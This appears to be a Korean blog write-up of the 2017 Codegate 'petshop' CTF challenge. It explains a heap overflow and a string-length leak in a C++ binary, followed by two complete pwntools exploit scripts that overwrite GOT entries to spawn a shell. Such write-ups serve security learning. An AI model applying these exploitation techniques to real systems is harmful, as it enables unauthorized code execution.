2017 codegate petshop
처음 시작할 때 24바이트를 할당한 후 이를 인자로 sub_401e9e가 불린다.
첫 번째, buy 부분을 보면 72바이트 할당을 해준다.
이 주소를 가지고 있는 변수를 v12라 했을 때
*v12 = function address (virtual method)
*(v12+8) = name
*(v12+16) = sound
*(v12+24) = food
이런 식으로 저장이 되며 처음 시작할 때 할당했던 24바이트 메모리 공간에 자신의 주소를 쓴다. (a1, a1+8)
a1+16에는 buy_pet_num이 들어간다.
최대 2마리까지 살 수 있다.
두 번째 메뉴는 virtual method의 function addr을 0x402800으로 만든 후 delete 해준다.
세 번째 메뉴에서는 저장되어 있는 virtual method의 function addr을 이용하여 *(v12+16)에 저장되어 있는 sound를 가져 온다.
네 번째 메뉴에서 heap overflow가 일어난다.
5번 메뉴에서는 leak이 진행될 것 같이 보인다. pet부터 feed까지는 다 heap 주소 기준이라 a1의 값을 바꿀 수 있지 않은 이상 leak은 힘들 것 같다.. 그러니 person 쪽을 봐야겠다.
6 번 메뉴 쪽에서 a1+40에 a2를 넣는 방식으로 연산자 오버로딩이 되어 있다. 아직 연산자 오버로딩을 리버싱 하는 방법을 몰라서.. gdb로 동작을 확인해보면
다음과 같이 문자열이 복사되면서 7이라는 값도 들어간다. 문자열의 길이이다.
그렇다면 이를 이용해서 leak이 가능하다!
그리고 짧은 페이로드를 기준으로 익스플로잇을 진행하던 도중 invalid next pointer 오류가 뜨는 경우가 있는데, basic_string libc를 분석해보면 길이 문제가 잘못된 것임을 알 수 있다. 이 경우 name('AAAA')를 해주면 길이에 0x41414100이 들어가면서 길이 오류가 뜨지 않는다. 더욱 확실한 방법은 name('AAAA') 대신 set('1', 'hehe', 'hehe', 'A'*12 + p64(e.got['exit'])+flat(0x0, 0x8))을 써주면 해결 된다. (Thanks to yeonnic)
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
e = ELF('./petshop')
s = process('./petshop')
def main(sel):
s.recvuntil('select:\n')
s.sendline(sel)
def buy(sel):
main('1')
main(sel)
def sell():
main('2')
def sound(idx):
main('3')
s.recvuntil('sound:\n')
s.sendline(idx)
def set(idx, name, sound, feed):
main('4')
s.recvuntil('set:\n')
s.sendline(idx)
s.recvuntil('name:\n')
s.sendline(name)
s.recvuntil('sound:\n')
s.sendline(sound)
s.recvuntil('feed:\n')
s.sendline(feed)
def list():
main('5')
def name(name):
main('6')
s.recvuntil('name?\n')
s.sendline(name)
buy('1')
name('AAAA')
set('1', 'hehe', "hehe", "A"*12 + p64(e.got['setvbuf'])+"\x08")
list()
s.recvuntil('person:')
leak = u64(s.recv(8))
print("leak: {}".format(hex(leak)))
libc_base = leak - 0x6fe70
#system = leak + 0x45390
one = libc_base + 0xf02a4
#set('1', 'hehe', 'hehe', 'A'*12 + p64(e.got['strcpy']) + 'A'*40 + "/bin/sh")
set('1', 'hehe', 'hehe', 'A'*12 + p64(e.got['exit'])+"\x08")
name(p64(one))
#buy('1')
s.sendline('7')
s.success('SHELL!')
s.interactive()
x
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
e = ELF('./petshop')
s = process('./petshop')
def main(sel):
s.recvuntil('select:\n')
s.sendline(sel)
def buy(sel):
main('1')
main(sel)
def sell():
main('2')
def sound(idx):
main('3')
s.recvuntil('sound:\n')
s.sendline(idx)
def set(idx, name, sound, feed):
main('4')
s.recvuntil('set:\n')
s.sendline(idx)
s.recvuntil('name:\n')
s.sendline(name)
s.recvuntil('sound:\n')
s.sendline(sound)
s.recvuntil('feed:\n')
s.sendline(feed)
def list():
main('5')
def name(name):
main('6')
s.recvuntil('name?\n')
s.sendline(name)
buy('1')
name('AAAA')
set('1', 'hehe', "hehe", "A"*12 + p64(e.got['setvbuf'])+"\x08")
list()
s.recvuntil('person:')
leak = u64(s.recv(8))
print("leak: {}".format(hex(leak)))
libc_base = leak - 0x6fe70
system = libc_base + 0x45390
#one = libc_base + 0xf02a4
print('system: {}'.format(hex(system)))
print(hex(e.got['exit']))
print(hex(e.got['strcpy']))
set('1', 'hehe', 'hehe', 'A'*12 + p64(e.got['strcpy']) + 'A'*40 + "/bin/sh")
name(p64(system).rstrip('\x00'))
buy('2')
s.success('SHELL!')
s.interactive()
엄청 쉬운 문제라고 하던데.. c++ 리버싱이 처음이었어서 그런지 익스 부분에서 너무 막혔었다. 처음에 name('AAAA')를 해줘야 하는 이유와 "\x08"을 붙여야 하는 이유같이.. 이걸 계기로 c++ 리버싱을 파봐야겠다.
'system > writeup' 카테고리의 다른 글
pwnable.tw silver bullet (0) | 2019.01.13 |
---|---|
pwnable.tw hacknote (0) | 2019.01.13 |
2014 hack.lu oreo (0) | 2019.01.10 |
pwnable.tw orw (0) | 2019.01.09 |
2017 codegate angrybird (0) | 2019.01.09 |